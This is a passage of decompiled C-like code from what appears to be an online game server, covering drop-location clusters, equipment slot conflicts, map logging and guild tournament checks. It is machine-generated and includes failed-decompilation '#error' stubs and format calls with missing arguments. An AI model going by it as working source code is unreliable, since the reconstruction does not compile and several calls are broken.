**)(v7 + 8)); *(_DWORD *)v7 = 6 * i / 2; v9 = operator new__(48 * v8); v10 = *(_DWORD *)v7; *(_DWORD *)(v7 + 8) = v9; v11 = 0; if ( v10 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v7 + 8) + 8 * v11++) = 0; } while ( v11 < *(_DWORD *)v7 ); } *(_DWORD *)(v7 + 4) = 0; v12 = (signed int)((unsigned __int64)(29906716285952i64 * (v8 + 1)) >> 32) >> 3; v13 = (1024 - (v8 << 10)) / 2; v14 = v12 + ((unsigned int)v12 >> 31); if ( v8 > 0 ) { do { DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v7, v13, v14); v13 += 1024; --v8; } while ( v8 ); } v7 += 24; i += 2; } while ( (unsigned int)i < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); } //----- (00445100) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster) { DropLocationManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->dlm_index.cluster = startcluster; v2->dlm_index.subscript = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_home"); } //----- (00445170) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_next(DropLocationManager *this) { DropLocationManager *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 int v5; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->dlm_index.subscript + 1; v1->dlm_index.subscript = v2; v3 = v2; v4 = v1->dlm_index.cluster; if ( v3 < v1->dlm_array[v4].sdc_Store ) goto LABEL_4; v5 = v4 + 1; v1->dlm_index.subscript = 0; v1->dlm_index.cluster = v5; if ( (unsigned int)v5 < 0x20 ) { DropLoc::SameDistanceCluster::sdc_shuffle((DropLoc::SameDistanceCluster *)v1 + v5); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropLocationManager::dlm_next"); return 0; } //----- (00445270) -------------------------------------------------------- char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu) { DuplicatedMenuControl *v2; // esi@1 int v3; // esi@1 int v4; // ecx@1 signed int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DuplicatedMenuControl::dmc_CanMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->dmc_Control; v4 = 0; v5 = 0; while ( (v3 & (1 << v4)) <= 0 || *(&DuplicatedMenuControl::dmc_Table[menu] + v5) ) { v5 += 7; ++v4; if ( v5 >= 49 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DuplicatedMenuControl::dmc_CanMenuOpen"); return 0; } //----- (00445360) -------------------------------------------------------- ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment) { ItemEquipEnum result; // eax@1 EquipEnumChanger *v4; // ebx@1 signed int v5; // esi@1 char *v6; // ecx@3 int v7; // edi@5 bool v8; // zf@8 result = 0; v4 = this; v5 = -1; while ( 1 ) { ++v5; if ( v5 >= 29 ) break; v6 = v4->eec_Column[v5]; if ( v6 != (char *)-1 ) { if ( v5 < 0 ) { v6 = v4->eec_Column[0]; v7 = 0; } else { v7 = v5; } if ( *((_BYTE *)&iis->ID + (_DWORD)v6) == 1 ) { v8 = *(_WORD *)((int)equipment->vfptr->ib_GetInventoryCell(equipment, v7) + 8) == -1; result = v7; if ( v8 ) break; } } } return result; } //----- (004453B0) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock) { EquipEnumChanger *v6; // ebp@1 signed int v7; // esi@1 int v8; // eax@4 char *v9; // eax@9 int v10; // edi@9 int v11; // eax@12 v6 = this; v7 = -1; while ( 1 ) { ++v7; if ( v7 >= 29 ) break; if ( v6->eec_Column[v7] != (char *)-1 ) { v8 = 0; if ( *excellnum <= 0 ) { LABEL_7: if ( v7 < 0 || v7 >= 29 ) { v9 = v6->eec_Column[0]; v10 = 0; } else { v9 = v6->eec_Column[v7]; v10 = v7; } if ( *((_BYTE *)&iis->ID + (_DWORD)v9) == 2 ) { v11 = ((int (__stdcall *)(_DWORD))equipment->vfptr->ib_GetInventoryCell)(v10); if ( *(_WORD *)(v11 + 8) != -1 ) { excell[*excellnum].ec_EquipSlot = v10; excell[(*excellnum)++].ec_EquipCell = (ItemInventoryCell *)v11; } } } else { while ( excell[v8].ec_EquipSlot != v7 ) { ++v8; if ( v8 >= *excellnum ) goto LABEL_7; } } } } } //----- (00445430) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock) { signed int v6; // ebx@1 EquipEnumChanger::ExclusiveCell *v7; // edi@2 int v8; // eax@5 int v9; // ebp@10 int v10; // eax@12 unsigned __int16 v11; // cx@12 int v12; // edx@14 int v13; // ecx@17 EquipEnumChanger *v14; // [sp+10h] [bp-4h]@1 v14 = this; v6 = -1; LABEL_2: v7 = excell; while ( 1 ) { ++v6; if ( v6 >= 29 ) break; if ( v14->eec_Column[v6] != (char *)-1 ) { v8 = 0; if ( *excellnum <= 0 ) { LABEL_8: if ( v6 < 0 || v6 >= 29 ) v9 = 0; else v9 = v6; v10 = ((int (__stdcall *)(int))equipment->vfptr->ib_GetInventoryCell)(v9); v11 = *(_WORD *)(v10 + 8); if ( v11 != -1 ) { if ( v11 >= (unsigned int)dword_125739EC || (v12 = dword_12574188 + 28 * v11) == 0 || !*(_DWORD *)v12 ) return; if ( !(**(_WORD **)v12 == v11) ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v12 + 10000 * v11); return; } v13 = *(_DWORD *)(v12 + 4); if ( v13 && v14->eec_Column[equipslot][v13] != 2 ) goto LABEL_2; v7 = excell; excell[*excellnum].ec_EquipSlot = v9; excell[(*excellnum)++].ec_EquipCell = (ItemInventoryCell *)v10; } } else { while ( v7[v8].ec_EquipSlot != v6 ) { ++v8; if ( v8 >= *excellnum ) goto LABEL_8; } } } } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00445530) -------------------------------------------------------- void __thiscall Name8::Name8(Name8 *this, const char *str) { *(_QWORD *)&this->n8_name[24] = 0i64; *(_QWORD *)&this->n8_name[16] = 0i64; *(_QWORD *)&this->n8_name[8] = 0i64; *(_QWORD *)&this->n8_name[0] = 0i64; strncpy(this->n8_name, str, 0x20u); } //----- (00445570) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] == *(_DWORD *)&nm->n8_name[0] && *(_DWORD *)&this->n8_name[4] == *(_DWORD *)&nm->n8_name[4] && *(_DWORD *)&this->n8_name[8] == *(_DWORD *)&nm->n8_name[8] && *(_DWORD *)&this->n8_name[12] == *(_DWORD *)&nm->n8_name[12] && *(_DWORD *)&this->n8_name[16] == *(_DWORD *)&nm->n8_name[16] && *(_DWORD *)&this->n8_name[20] == *(_DWORD *)&nm->n8_name[20] && *(_DWORD *)&this->n8_name[24] == *(_DWORD *)&nm->n8_name[24] && *(_DWORD *)&this->n8_name[28] == *(_DWORD *)&nm->n8_name[28]; } //----- (004455C0) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this) { this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (004455D0) -------------------------------------------------------- int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this) { return *(_DWORD *)(this + 12); } //----- (004455E0) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist) { VectorClass::VectorWithLength *v2; // esi@1 int v3; // ecx@3 int v4; // edi@3 int v5; // eax@3 v2 = this; if ( !this->vwl_Length ) { this->baseclass_4.v_x = 1; this->baseclass_4.v_y = 0; this->vwl_Length = 1; } v3 = this->vwl_Length; v4 = newdist * v2->baseclass_4.v_x / v3; v5 = newdist * v2->baseclass_4.v_y / v3; v2->baseclass_4.v_x = v4; v2->baseclass_4.v_y = v5; v2->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v5); } //----- (00445640) -------------------------------------------------------- void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid) { MapLoadLog *v2; // esi@1 _iobuf *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 v2 = this; this->mll_MemSize += 618328; v3 = fopen("MapLoad.txt", "a"); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v5 + 2) = *(_DWORD *)&mapid->n3_name[8]; v5[12] = 0; fprintf(v3, "[%d]%s/%d\n"); ++v2->mll_Number; fclose(v3); } //----- (004456C0) -------------------------------------------------------- void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to) { char *v3; // edx@1 char v4; // bl@2 char *v5; // edx@3 char v6; // bl@4 v3 = from; do { v4 = *v3; v3[(char *)this - from] = *v3; ++v3; } while ( v4 ); v5 = to; do { v6 = *v5; v5[this->mss_To - to] = *v5; ++v5; } while ( v6 ); } //----- (00445700) -------------------------------------------------------- void __thiscall MapSubString::mss_Home(MapSubString *this) { this->mss_Cur[0] = 45; this->mss_StrLen = strlen(this->mss_From) - 1; } //----- (00445730) -------------------------------------------------------- char *__thiscall MapSubString::mss_Get(MapSubString *this) { return this->mss_Cur; } //----- (00445740) -------------------------------------------------------- char __thiscall MapSubString::mss_Next(MapSubString *this) { MapSubString *v1; // ebp@1 char *v2; // edi@1 MapSubString *v3; // eax@2 char v4; // cl@3 char result; // al@4 int v6; // eax@6 v1 = this; v2 = this->mss_Cur; if ( this->mss_Cur[0] == 45 ) { v3 = this; do { v4 = v3->mss_From[0]; v3->mss_Cur[0] = v3->mss_From[0]; v3 = (MapSubString *)((char *)v3 + 1); } while ( v4 ); result = 1; } else { if ( strcmp(this->mss_Cur, this->mss_To) && (v6 = v1->mss_StrLen, v6 >= 0) ) { while ( v2[v6] >= 57 ) { --v6; v2[v6 + 1] = 48; if ( v6 < 0 ) goto LABEL_9; } ++v1->mss_Cur[v6]; result = 1; } else { LABEL_9: result = 0; } } return result; } //----- (004457D0) -------------------------------------------------------- signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg) { int v4; // edx@1 v4 = 14 * *(_WORD *)arg + arg + 3; *(_DWORD *)v4 = *(_DWORD *)this; *(_DWORD *)(v4 + 4) = *(_DWORD *)(this + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(this + 8); *(_BYTE *)(14 * *(_WORD *)arg + arg + 2) = *(_BYTE *)(*(_DWORD *)(this + 12) + 166); *(_BYTE *)(14 * (*(_WORD *)arg)++ + arg + 15) = *(_BYTE *)(*(_DWORD *)(this + 12) + 166) == 0; return 1; } //----- (00445830) -------------------------------------------------------- int __thiscall FieldMap::fm_MoveCenter(int this, int xy) { int result; // eax@1 result = xy; *(_DWORD *)xy = *(_DWORD *)(this + 24) >> 1; *(_DWORD *)(xy + 4) = *(_DWORD *)(this + 28) >> 1; return result; } //----- (00445850) -------------------------------------------------------- bool __thiscall FieldMap::fm_InMap(int this, int x, int y) { return x >= 0 && x < *(_DWORD *)(this + 24) && y >= 0 && y < *(_DWORD *)(this + 28); } //----- (00445880) -------------------------------------------------------- void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this) { _eh_vector_destructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004458A0) -------------------------------------------------------- void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNumberCount::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AE654: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (004458B0) -------------------------------------------------------- #error "4458B0: undefined or illegal type '#325' (funcsize=22)" //----- (004458F0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00445910) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 17) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 17); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00445970) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5AEC98: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (00445990) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x39u, 0x30u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00445A40) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { int v3; // ST04_4@1 int v4; // ST00_4@1 this->baseclass_4.v_x = a->x - b->x; this->baseclass_4.v_y = a->y - b->y; v3 = this->baseclass_4.v_y; v4 = this->baseclass_4.v_x; this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v3); } // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00445A80) -------------------------------------------------------- #error "445A80: undefined or illegal type '#325' (funcsize=209)" //----- (00445D30) -------------------------------------------------------- void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this) { MapRearrangeObserver *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mro_Number = 0; } //----- (00445D60) -------------------------------------------------------- void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx) { MapRearrangeObserver *v2; // edi@1 unsigned int v3; // edx@1 int v4; // ebx@1 int v5; // eax@1 int v6; // esi@1 int v7; // ecx@2 int v8; // ecx@11 int v9; // eax@11 int v10; // edx@11 int v11; // ecx@11 int v12; // edx@11 int v13; // ecx@11 int v14; // edx@11 Name8 index; // [sp+Ch] [bp-24h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapRearrangeObserver::mro_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_QWORD *)&index.n8_name[24] = 0i64; *(_QWORD *)&index.n8_name[16] = 0i64; *(_QWORD *)&index.n8_name[8] = 0i64; *(_QWORD *)&index.n8_name[0] = 0i64; strncpy(index.n8_name, idx, 0x20u); v3 = v2->mro_Number; v4 = *(_DWORD *)&index.n8_name[8]; v5 = 0; v6 = *(_DWORD *)&index.n8_name[4]; if ( (signed int)v3 > 0 ) { v7 = (int)&v2->mro_Array[0].index.n8_name[8]; do { if ( *(_QWORD *)&index == __PAIR__(*(_DWORD *)(v7 - 4), *(_DWORD *)(v7 - 8)) && *(_QWORD *)&index.n8_name[8] == *(_QWORD *)v7 && *(_QWORD *)&index.n8_name[16] == *(_QWORD *)(v7 + 8) && *(_QWORD *)&index.n8_name[24] == *(_QWORD *)(v7 + 16) ) break; ++v5; v7 += 36; } while ( v5 < v2->mro_Number ); } if ( v5 >= (signed int)v3 ) { if ( v3 < 0x80 ) { v8 = *(_DWORD *)&index; v2->mro_Number = v3 + 1; v9 = (int)((char *)v2 + 36 * v5); v10 = *(_DWORD *)&index.n8_name[12]; *(_DWORD *)(v9 + 32) = 1; *(_DWORD *)v9 = v8; v11 = *(_DWORD *)&index.n8_name[16]; *(_DWORD *)(v9 + 12) = v10; v12 = *(_DWORD *)&index.n8_name[20]; *(_DWORD *)(v9 + 16) = v11; v13 = *(_DWORD *)&index.n8_name[24]; *(_DWORD *)(v9 + 20) = v12; v14 = *(_DWORD *)&index.n8_name[28]; *(_DWORD *)(v9 + 4) = v6; *(_DWORD *)(v9 + 8) = v4; *(_DWORD *)(v9 + 24) = v13; *(_DWORD *)(v9 + 28) = v14; } } else { ++v2->mro_Array[v5].number; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); } //----- (00445ED0) -------------------------------------------------------- void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int *ply, int *mob) { void *v4; // esi@1 void *v5; // ecx@1 AxialListNumberCount alnc; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_DistrubuteCalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&alnc.baseclass_0); alnc.alnc_Player = ply; alnc.alnc_Mob = mob; alnc.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNumberCount::_vftable_; *mob = 0; *alnc.alnc_Player = 0; v5 = (void *)*((_DWORD *)v4 + 12); LOBYTE(v7) = 1; ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&alnc, 0); *(_DWORD *)map = *(_DWORD *)v4; *(_DWORD *)(map + 4) = *((_DWORD *)v4 + 1); *(_DWORD *)(map + 8) = *((_DWORD *)v4 + 2); LOBYTE(v7) = 0; alnc.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNumberCount::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alnc); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); } // 5AE654: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (00445FD0) -------------------------------------------------------- signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { signed int v6; // eax@1 signed int result; // eax@2 int v8; // ebp@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int ycoord; // [sp+0h] [bp-30h]@3 void *v15; // [sp+4h] [bp-2Ch]@1 int v16; // [sp+8h] [bp-28h]@3 int dy; // [sp+Ch] [bp-24h]@3 signed int starta; // [sp+34h] [bp+4h]@4 signed int distancea; // [sp+38h] [bp+8h]@3 signed int diva; // [sp+3Ch] [bp+Ch]@4 int blocka; // [sp+40h] [bp+10h]@3 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_FindBlockLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)start - *(_DWORD *)div, *(_DWORD *)(start + 4) - *(_DWORD *)(div + 4)); if ( v6 <= distance ) { v8 = block; *(_DWORD *)block = *(_DWORD *)start; *(_DWORD *)(block + 4) = *(_DWORD *)(start + 4); v9 = *(_DWORD *)start; v10 = *(_DWORD *)(start + 4); v11 = v6 / 16 + 1; v12 = *(_DWORD *)div - *(_DWORD *)start; blocka = *(_DWORD *)start; ycoord = *(_DWORD *)(start + 4); v16 = *(_DWORD *)div - *(_DWORD *)start; dy = *(_DWORD *)(div + 4) - v10; distancea = 1; if ( v11 >= 1 ) { diva = *(_DWORD *)(div + 4) - v10; starta = v12; while ( 1 ) { v13 = v9 + starta / v11; if ( (unsigned __int8)xcoord(*((_DWORD *)v15 + 5), v13, ycoord + diva / v11) ) break; *(_DWORD *)v8 = v13; *(_DWORD *)(v8 + 4) = ycoord + diva / v11; ++distancea; starta += v16; diva += dy; if ( distancea > v11 ) break; v9 = blocka; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = distancea < v11; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = 2; } return result; } //----- (004461A0) -------------------------------------------------------- int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetGuildTournamentSystem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 42); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); return v2; } //----- (00446210) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b) { void *v3; // esi@1 int v4; // eax@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_GetGuildTournamentSystem(v3); if ( v4 && GuildTournamentSystem::IsBattleGuild((GuildTournamentSystem *)v4, a, b) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 0; } return result; } //----- (004462F0) -------------------------------------------------------- int __thiscall FieldMap::fm_GetSaveLinktoData(void *this) { void *v1; // esi@1 int v2; // edx@1 int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 262) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = (int)((char *)v1 + 176); } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = 0; } return result; } //----- (004463B0) -------------------------------------------------------- void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_SetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 176, rInfo, 0x65u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); } //----- (00446430) -------------------------------------------------------- int __thiscall FieldMap::fm_GetCenterObject(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetCenterObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); return v2; } //----- (00446490) -------------------------------------------------------- char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity) { void *v2; // esi@1 int v3; // ecx@1 int v5; // edx@3 int v6; // esi@3 unsigned int v7; // edx@3 char *v8; // edi@5 int v9; // esi@5 char v10; // dl@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetRegenCityLinkData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 3); if ( !v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 0; } *(_DWORD *)(pRegenCity + 20) = *(_DWORD *)(v3 + 110); *(_DWORD *)(pRegenCity + 24) = *(_DWORD *)(v3 + 114); *(_DWORD *)(pRegenCity + 28) = *(_DWORD *)(v3 + 118); *(_BYTE *)(pRegenCity + 32) = 0; v5 = *((_DWORD *)v2 + 3); v6 = *(_DWORD *)(v5 + 110); v5 += 110; *(_DWORD *)(pRegenCity + 53) = v6; *(_DWORD *)(pRegenCity + 57) = *(_DWORD *)(v5 + 4); *(_DWORD *)(pRegenCity + 61) = *(_DWORD *)(v5 + 8); *(_BYTE *)(pRegenCity + 65) = 0; v7 = 